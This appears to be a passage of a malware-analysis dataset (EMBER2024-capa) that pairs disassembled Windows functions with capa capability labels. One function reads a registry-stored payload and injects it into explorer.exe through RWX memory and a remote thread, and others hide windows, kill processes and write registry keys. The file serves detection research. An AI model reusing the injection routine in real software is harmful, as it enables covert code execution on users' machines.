joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400cbdd4
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14008b508
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14008b508
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x1400cbf24
cmp rax, 0xffffffffffffffff
je 0x1400cbf24
xor edi, edi
test rbp, rbp
jle 0x1400cbecf
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.140082884
mov rbx, rax
test rax, rax
jne 0x1400cbe5c
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x1400cbec5
mov edx, 0x8000
mov ecx, r14d
call fcn.1400c7f38
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14008805c
cmp eax, 0xffffffff
je 0x1400cbea5
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1400cbe6c
mov edx, r15d
mov ecx, r14d
call fcn.1400c7f38
jmp 0x1400cbec5
cmp byte [rsi + 0x38], dil
je 0x1400cbebc
cmp dword [rsi + 0x34], 5
jne 0x1400cbebc
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], send
cmp byte [rsi + 0x30], dil
je 0x1400cbec5
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14007f190
jmp 0x1400cbf38
jns 0x1400cbf38
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14008b508
cmp rax, 0xffffffffffffffff
jne 0x1400cbef0
cmp byte [rsi + 0x30], dil
je 0x1400cbf38
mov edi, dword [rsi + 0x2c]
jmp 0x1400cbf38
mov ecx, r14d
call fcn.140091720
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1400cbf38
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, recv
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], send
jmp 0x1400cbf38
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x1400cbf31
mov eax, dword [rsi + 0x2c]
jmp 0x1400cbf36
mov eax, socket
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14008b508
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x1400cc010
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400cc038
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400cc038
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x180001490
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x150
xor edx, edx
mov dword [rsp + 0x20], 0x130
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1800014ec
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
call fcn.1800078ac
lea rdx, str.Failed_to_create_process_snapshot:__d_n
lea rcx, [rax + 0x60]
mov r8d, edi
call fcn.180007b1c
xor eax, eax
mov rbx, qword [rsp + 0x170]
add rsp, 0x150
pop rdi
ret
lea rdx, [rsp + 0x20]
mov rcx, rax
mov qword [rsp + 0x160], rbp
xor ebp, ebp
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x180001545
mov qword [rsp + 0x168], rsi
lea rsi, str.explorer.exe
lea rdi, [rsp + 0x4c]
mov ecx, 0xd
repe cmpsb byte [rsi], byte [rdi]
je 0x180001539
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x180001510
jmp 0x18000153d
mov ebp, dword [rsp + 0x28]
mov rsi, qword [rsp + 0x168]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x170]
mov eax, ebp
mov rbp, qword [rsp + 0x160]
add rsp, 0x150
pop rdi
ret
Function at 0x180001570
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Query or enumerate registry value
Spawn thread to rwx shellcode

Disassembly:
push rbx
push r13
sub rsp, 0x58
lea rax, [rsp + 0x78]
lea rdx, str.Console
mov r9d, 1
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x180001775
mov rcx, qword [rsp + 0x78]
lea rax, [rsp + 0x70]
xor r13d, r13d
mov qword [rsp + 0x28], rax
lea rdx, str.qweasd123zxc
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], r13
mov dword [rsp + 0x70], r13d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x180001775
mov ecx, dword [rsp + 0x70]
call fcn.1800077f4
mov rcx, qword [rsp + 0x78]
lea rdx, str.qweasd123zxc
mov rbx, rax
lea rax, [rsp + 0x70]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x180001775
mov qword [rsp + 0x80], rbp
mov qword [rsp + 0x88], rsi
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], r14
call fcn.180001490
lea edx, [r13 + 1]
mov ecx, 0x1fffff
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r8d, dword [rsp + 0x70]
xor edx, edx
mov r9d, 0x3000
mov rcx, rax
mov dword [rsp + 0x20], 0x40
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, dword [rsp + 0x70]
mov r8, rbx
mov rcx, rbp
mov rdx, rax
mov r12, rax
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov esi, r13d
lea r14d, [r13 + 4]
nop word [rax + rax]
lea rdx, str.Printing
lea rcx, [0x180024330]
inc esi
call fcn.180004280
mov edx, esi
mov rcx, rax
call fcn.180001820
lea rdx, str._times.
mov rcx, rax
call fcn.180004280
mov dl, 0xa
mov rcx, rax
mov rdi, rax
call fcn.180001a00
mov rcx, qword [rdi]
mov ebx, r13d
movsxd rcx, dword [rcx + 4]
test byte [rcx + rdi + 0x10], 6
jne 0x1800016fe
mov rcx, qword [rcx + rdi + 0x48]
mov rdx, qword [rcx]
call qword [rdx + 0x68]
cmp eax, 0xffffffff
cmove ebx, r14d
mov rax, qword [rdi]
movsxd rcx, dword [rax + 4]
add rcx, rdi
test ebx, ebx
je 0x180001722
mov edx, dword [rcx + 0x10]
or edx, ebx
cmp qword [rcx + 0x48], r13
jne 0x18000171a
or edx, r14d
xor r8d, r8d
call fcn.180001280
cmp esi, 0xd05
jl 0x1800016a0
mov qword [rsp + 0x30], r13
mov r9, r12
xor r8d, r8d
xor edx, edx
mov rcx, rbp
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov r14, qword [rsp + 0x40]
mov r12, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x88]
mov rbp, qword [rsp + 0x80]
add rsp, 0x58
pop r13
pop rbx
ret
xor ecx, ecx
call fcn.1800080a4
int3

Function at 0x1800080a4
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.180007f14
Function at 0x180011003
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x180024ac0]
jne 0x180009c8a
rol rcx, 0x10
test cx, 0xffff
jne 0x180009c86
repz ret
ror rcx, 0x10
jmp 0x180010f5c
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x180026ef0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x180026fe8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x180010fe1
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x180026ef0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x180011003
mov rax, qword [rsp + 0x88]
mov qword [0x180026fe8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x180026f88], rax
mov rax, qword [0x180026fe8]
mov qword [0x180026e60], rax
mov rax, qword [rsp + 0x90]
mov qword [0x180026f70], rax
mov dword [0x180026e50], 0xc0000409
mov dword [0x180026e54], 1
mov rax, qword [0x180024ac0]
mov qword [rsp + 0x68], rax
mov rax, qword [0x180024ac8]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x180026ee8], eax
mov ecx, 1
call fcn.180014878
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x18001e8b8]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x180026ee8], 0
jne 0x18001108a
mov ecx, 1
call fcn.180014878
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x180015654
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x180024ac0]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.18000ea98
xor ebx, ebx
cmp qword [0x1800273e8], rbx
mov rdi, rax
jne 0x180015767
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x18001583e
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18001583e
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x1800273e8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x1800273f0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x1800273f8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x180027408], rax
test rax, rax
je 0x18001575e
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x180027400], rax
jmp 0x18001576e
mov rax, qword [0x180027400]
jmp 0x180015775
mov rax, qword [0x180027400]
mov r11, qword [0x180027408]
cmp rax, rdi
je 0x1800157dc
cmp r11, rdi
je 0x1800157dc
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x180027408]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x1800157dc
test rax, rax
je 0x1800157dc
call rsi
test rax, rax
je 0x1800157d6
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x1800157d6
test byte [rsp + 0x40], 1
jne 0x1800157dc
bts ebp, 0x15
jmp 0x18001581c
mov rcx, qword [0x1800273f0]
cmp rcx, rdi
je 0x18001581c
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x18001581c
call rax
mov rbx, rax
test rax, rax
je 0x18001581c
mov rcx, qword [0x1800273f8]
cmp rcx, rdi
je 0x18001581c
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x18001581c
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x1800273e8]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x18001583e
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x180015840
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.180009c70
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x14003636c
Capabilities:
Hide graphical window

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xb0
mov qword [rbp + 0x10], rcx
mov qword [rbp - 8], 0
call fcn.1400bbfe0
mov rcx, qword [rbp + 0x10]
call fcn.140099dfc
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
je 0x140036523
mov rax, qword [0x1406a2df0]
cmp qword [rbp + 0x10], rax
jne 0x14003645e
mov rax, qword [0x1406a2df8]
mov rcx, rax
call fcn.140099dfc
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
je 0x1400363e5
mov rax, qword [0x1406a2df8]
mov edx, 1
mov rcx, rax
call fcn.14009a4c4
mov qword [rbp - 0x20], rax
jmp 0x1400363e6
nop
mov rax, qword [0x1406a2df0]
mov edx, 0
mov rcx, rax
call fcn.14009a4c4
mov qword [rbp - 0x28], rax
mov rax, qword [0x1406a2df0]
mov rcx, rax
call fcn.140099eb0
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x30]
mov edx, 9
mov rcx, rax
call sub.USER32.dll_ShowWindow
mov qword [rbp - 0x38], rax
mov rax, qword [0x1406a2df0]
mov rcx, rax
call fcn.140099eb0
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x40]
mov rcx, rax
call sub.USER32.dll_SetForegroundWindow
mov qword [rbp - 0x48], rax
mov rax, qword [0x1406a2df0]
mov rcx, rax
call fcn.14009a1f4
mov qword [rbp - 0x50], rax
jmp 0x14003645f
nop
mov rax, qword [0x1406a2df8]
cmp qword [rbp + 0x10], rax
jne 0x140036526
mov rax, qword [0x1406a2df0]
mov rcx, rax
call fcn.140099dfc
mov qword [rbp - 0x58], rax
cmp qword [rbp - 0x58], 0
je 0x1400364a4
mov rax, qword [0x1406a2df0]
mov edx, 1
mov rcx, rax
call fcn.14009a4c4
mov qword [rbp - 0x60], rax
jmp 0x1400364a5
nop
mov rax, qword [0x1406a2df8]
mov edx, 0
mov rcx, rax
call fcn.14009a4c4
mov qword [rbp - 0x68], rax
mov rax, qword [0x1406a2df8]
mov rcx, rax
call fcn.140099eb0
mov qword [rbp - 0x70], rax
mov rax, qword [rbp - 0x70]
mov edx, 9
mov rcx, rax
call sub.USER32.dll_ShowWindow
mov qword [rbp - 0x78], rax
mov rax, qword [0x1406a2df8]
mov rcx, rax
call fcn.140099eb0
mov qword [rbp - 0x80], rax
mov rax, qword [rbp - 0x80]
mov rcx, rax
call sub.USER32.dll_SetForegroundWindow
mov qword [rbp - 0x88], rax
mov rax, qword [0x1406a2df8]
mov rcx, rax
call fcn.14009a1f4
mov qword [rbp - 0x90], rax
jmp 0x140036527
nop
jmp 0x140036527
nop
mov qword [rbp - 8], 0
mov rax, qword [rbp - 8]
add rsp, 0xb0
pop rbp
ret
Function at 0x140058a28
Capabilities:
Create thread

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xa0
mov qword [rbp + 0x10], rcx
mov qword [rbp - 8], 0
call fcn.1400bbfe0
mov qword [rbp - 0x48], 0
mov qword [rbp - 0x50], 0
mov qword [rbp - 0x58], 0
lea rax, str.Kernel32
mov rcx, rax
call sub.KERNEL32.DLL_GetModuleHandleW
mov qword [rbp - 0x10], rax
lea rdx, [0x140693060]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sub.KERNEL32.DLL_GetProcAddress
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x58], rax
mov rax, qword [rbp - 0x58]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rax
mov r8d, 0
mov edx, 0
mov rcx, qword [rbp + 0x10]
call sub.KERNEL32.DLL_CreateRemoteThread
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov qword [rbp - 0x50], rax
mov rax, qword [rbp - 0x50]
test rax, rax
jne 0x140058ae3
mov qword [rbp - 8], 0
jmp 0x140058b30
nop
mov rax, qword [rbp - 0x50]
mov rdx, 0xffffffffffffffff
mov rcx, rax
call sub.KERNEL32.DLL_WaitForSingleObject
mov qword [rbp - 0x28], rax
lea rax, [rbp - 0x48]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x50]
mov rdx, qword [rbp - 0x30]
mov rcx, rax
call sub.KERNEL32.DLL_GetExitCodeThread
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x50]
mov rcx, rax
call sub.KERNEL32.DLL_CloseHandle
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x48]
mov qword [rbp - 8], rax
nop
mov rax, qword [rbp - 8]
add rsp, 0xa0
pop rbp
ret

Function at 0x140058cc3
Capabilities:
Query service status

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x90
mov qword [rbp + 0x10], rcx
mov qword [rbp - 8], 0
call fcn.1400bbfe0
mov rax, qword [rbp + 0x10]
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.1400bc3a0
mov qword [rbp - 0x60], 0
mov qword [rbp - 0x58], 0
mov qword [rbp - 0x50], 0
mov dword [rbp - 0x48], 0
mov qword [rbp - 0x68], 0
mov qword [rbp - 0x70], 0
mov r8d, 0xf003f
mov edx, 0
mov ecx, 0
call sub.ADVAPI32.dll_OpenSCManagerW
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov qword [rbp - 0x68], rax
mov rax, qword [rbp - 0x68]
test rax, rax
je 0x140058dc0
mov rax, qword [rbp + 0x10]
mov rdx, rax
mov rax, qword [rbp - 0x68]
mov r8d, 0xf01ff
mov rcx, rax
call sub.ADVAPI32.dll_OpenServiceW
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x70], rax
mov rax, qword [rbp - 0x70]
test rax, rax
je 0x140058da4
lea rax, [rbp - 0x60]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x70]
mov rdx, qword [rbp - 0x20]
mov rcx, rax
call sub.ADVAPI32.dll_QueryServiceStatus
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x70]
mov rcx, rax
call sub.ADVAPI32.dll_CloseServiceHandle
mov qword [rbp - 0x30], rax
jmp 0x140058da5
nop
mov rax, qword [rbp - 0x68]
mov rcx, rax
call sub.ADVAPI32.dll_CloseServiceHandle
mov qword [rbp - 0x38], rax
mov eax, dword [rbp - 0x5c]
cdqe
mov qword [rbp - 8], rax
jmp 0x140058dc9
nop
mov qword [rbp - 8], 0
mov rax, qword [rbp + 0x10]
mov rcx, rax
call fcn.1400bc370
mov rax, qword [rbp - 8]
add rsp, 0x90
pop rbp
ret
Function at 0x1400599da
Capabilities:
Set registry value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x90
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov qword [rbp + 0x28], r9
mov qword [rbp - 8], 0
call fcn.1400bbfe0
mov rdx, qword [rbp + 0x18]
lea rax, [rbp + 0x18]
mov rcx, rax
call fcn.1400bc3a0
mov rdx, qword [rbp + 0x20]
lea rax, [rbp + 0x20]
mov rcx, rax
call fcn.1400bc3a0
mov qword [rbp - 0x38], 0
mov qword [rbp - 0x40], 0
lea rax, [rbp - 0x40]
mov qword [rbp - 0x10], rax
lea rax, [rbp - 0x38]
mov qword [rbp - 0x18], rax
mov rax, qword [rbp + 0x18]
mov rdx, rax
mov rax, qword [rbp - 0x18]
mov qword [rsp + 0x40], rax
mov rax, qword [rbp - 0x10]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0xf003f
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rcx, qword [rbp + 0x10]
call sub.ADVAPI32.dll_RegCreateKeyExW
mov qword [rbp - 0x20], rax
cmp qword [rbp - 0x20], 0
jne 0x140059ae1
mov rax, qword [rbp + 0x20]
mov r10, rax
mov rax, qword [rbp - 0x40]
mov rcx, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x38]
mov qword [rsp + 0x28], rdx
mov rdx, qword [rbp + 0x30]
mov qword [rsp + 0x20], rdx
mov r9, rcx
mov r8d, 0
mov rdx, r10
mov rcx, rax
call sub.ADVAPI32.dll_RegSetValueExW
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x40]
mov rcx, rax
call sub.ADVAPI32.dll_RegCloseKey
mov qword [rbp - 0x30], rax
jmp 0x140059ae2
nop
mov qword [rbp - 8], 0
mov rax, qword [rbp + 0x20]
mov rcx, rax
call fcn.1400bc370
mov rax, qword [rbp + 0x18]
mov rcx, rax
call fcn.1400bc370
mov rax, qword [rbp - 8]
add rsp, 0x90
pop rbp
ret

Function at 0x14005adaf
Capabilities:
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp + 0x10], rcx
mov qword [rbp - 8], 0
call fcn.1400bbfe0
mov qword [rbp - 0x28], 0
mov qword [rbp - 0x30], 0
mov r8, qword [rbp + 0x10]
mov edx, 0
mov ecx, 1
call sub.KERNEL32.DLL_OpenProcess
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x30]
test rax, rax
je 0x14005ae39
mov rax, qword [rbp - 0x30]
mov edx, 1
mov rcx, rax
call sub.KERNEL32.DLL_TerminateProcess
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
je 0x14005ae26
mov qword [rbp - 0x28], 1
jmp 0x14005ae27
nop
mov rax, qword [rbp - 0x30]
mov rcx, rax
call sub.KERNEL32.DLL_CloseHandle
mov qword [rbp - 0x20], rax
jmp 0x14005ae3a
nop
mov rax, qword [rbp - 0x28]
mov qword [rbp - 8], rax
nop
mov rax, qword [rbp - 8]
add rsp, 0x50
pop rbp
ret
Function at 0x14005eab1
Capabilities:
Get graphical window text

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x90
mov dword [rbp + 0x10], ecx
mov qword [rbp - 8], 0
mov eax, dword [rbp + 0x10]
cdqe
mov rcx, rax
call fcn.1400bc4e0
call fcn.1400bbfe0
mov qword [rbp - 0x68], 0
mov rax, qword [0x1406a36c0]
test rax, rax
jne 0x14005eb18
mov edx, 0
mov ecx, 0
call sub.USER32.dll_FindWindowW
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov qword [0x1406a36c8], rax
mov qword [0x1406a36c0], 1
jmp 0x14005eb44
nop
mov rax, qword [0x1406a36c8]
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov edx, 2
mov rcx, rax
call sub.USER32.dll_GetWindow
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
mov qword [0x1406a36c8], rax
mov rax, qword [0x1406a36c8]
test rax, rax
je 0x14005ec41
mov rax, qword [0x1406a36c8]
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
mov rdx, 0xfffffffffffffff0
mov rcx, rax
call sub.USER32.dll_GetWindowLongPtrW
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x30]
and eax, 0x10000000
test rax, rax
je 0x14005ec3b
mov rax, qword [0x1406a36c8]
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov rdx, 0xffffffffffffffec
mov rcx, rax
call sub.USER32.dll_GetWindowLongPtrW
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x40]
and eax, 0x80
test rax, rax
jne 0x14005ec3e
call fcn.1400bc050
call fcn.1400bc050
call fcn.1400bc0b0
mov edx, eax
mov ecx, 0x100
call fcn.1400b9f50
call fcn.1400bc0b0
mov edx, eax
lea rax, [rbp - 0x68]
mov rcx, rax
call fcn.1400bc290
mov rax, qword [0x1406a36c8]
mov qword [rbp - 0x48], rax
mov rax, qword [rbp - 0x68]
mov rdx, rax
mov rax, qword [rbp - 0x48]
mov r8d, 0x100
mov rcx, rax
call sub.USER32.dll_GetWindowTextW
mov qword [rbp - 0x50], rax
mov rax, qword [rbp - 0x68]
mov qword [rbp - 0x58], rax
lea rax, [0x1406a3738]
mov qword [rbp - 0x60], rax
mov rdx, qword [rbp - 0x58]
mov rax, qword [rbp - 0x60]
mov rcx, rax
call fcn.1400bc410
test eax, eax
je 0x14005ec5f
jmp 0x14005ec3f
nop
jmp 0x14005ec4d
nop
jmp 0x14005ec4d
nop
mov qword [0x1406a36c0], 0
mov rax, qword [0x1406a36c8]
test rax, rax
je 0x14005ec62
nop
jmp 0x14005eae1
nop
jmp 0x14005ec63
nop
call fcn.1400bc050
mov rax, qword [rbp - 0x68]
mov rcx, rax
call fcn.1400bc470
call fcn.1400bc200
mov qword [rbp - 8], rax
nop
mov rax, qword [rbp - 0x68]
mov rcx, rax
call fcn.1400bc370
mov rax, qword [rbp - 8]
add rsp, 0x90
pop rbp
ret
Function at 0x14005f8a9
Capabilities:
Create process on windows

Disassembly:
push rbp
push rdi
sub rsp, 0x138
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xd0], rcx
mov qword [rbp + 0xd8], rdx
mov qword [rbp + 0xa8], 0
call fcn.1400bbfe0
mov rax, qword [rbp + 0xd0]
mov rdx, rax
lea rcx, [rbp + 0xd0]
call fcn.1400bc3a0
mov qword [rbp + 0x70], 0
mov rdx, rbp
mov eax, 0
mov ecx, reloc.WS2_32.dll_listen
mov rdi, rdx
rep stosq qword [rdi], rax
mov qword [rbp - 8], 0
mov qword [rbp - 0x20], 0
mov qword [rbp - 0x18], 0
mov qword [rbp - 0x10], 0
mov dword [rbp - 0x24], 0
mov dword [rbp], 0x68
mov dword [rbp + 0x3c], 1
mov rax, qword [rbp + 0xd8]
and eax, 2
test rax, rax
je 0x14005f955
mov word [rbp + 0x40], 0
jmp 0x14005f95c
nop
mov word [rbp + 0x40], 1
mov rax, rbp
mov qword [rbp + 0xa0], rax
lea rax, [rbp - 0x20]
mov qword [rbp + 0x98], rax
mov rax, qword [rbp + 0xd0]
mov rdx, rax
mov rax, qword [rbp + 0x98]
mov qword [rsp + 0x48], rax
mov rax, qword [rbp + 0xa0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov ecx, 0
call sub.KERNEL32.DLL_CreateProcessW
mov qword [rbp + 0x90], rax
mov rax, qword [rbp + 0x90]
mov qword [rbp + 0x70], rax
mov rax, qword [rbp + 0x70]
test rax, rax
je 0x14005fa50
mov rax, qword [rbp + 0xd8]
and eax, 1
test rax, rax
je 0x14005fa3f
mov rax, qword [rbp - 0x18]
mov qword [rbp - 8], rax
mov ecx, 1
call fcn.140099604
mov qword [rbp + 0x88], rax
lea rax, [rbp - 0x24]
mov qword [rbp + 0x80], rax
mov rax, qword [rbp - 8]
mov rdx, qword [rbp + 0x80]
mov rcx, rax
call sub.KERNEL32.DLL_GetExitCodeThread
mov qword [rbp + 0x78], rax
mov eax, dword [rbp - 0x24]
cmp eax, 0x103
jne 0x14005fa42
nop
jmp 0x14005f9ff
nop
jmp 0x14005fa43
nop
mov rax, qword [rbp - 0x20]
mov qword [rbp + 0xa8], rax
jmp 0x14005fa5c
nop
mov qword [rbp + 0xa8], 0
mov rax, qword [rbp + 0xd0]
mov rcx, rax
call fcn.1400bc370
mov rax, qword [rbp + 0xa8]
add rsp, 0x138
pop rdi
pop rbp
ret